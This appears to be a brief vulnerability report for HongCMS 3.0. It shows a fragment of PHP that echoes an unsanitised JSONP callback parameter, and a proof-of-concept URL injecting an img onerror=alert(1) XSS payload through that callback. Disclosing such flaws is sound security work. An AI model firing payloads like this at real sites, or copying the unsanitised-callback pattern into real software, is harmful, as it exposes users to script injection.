HongCMS
HongCMS copied to clipboard
Published
20 hours ago •
Neeke
Neeke
HongCMS 3.0 - XSS vulnerability
Vulnerability location
'test
');
if($function){
echo $function . '(' . $this->json->encode($arr) . ')'; //jsonp返回数据的格式
}else{
echo $this->json->encode($arr); //json返回数据的格式
}
}
}
?>
POC：ajax/myshop?callback=%3Cimg%20src=1%20onerror=alert(1)%20/%3E
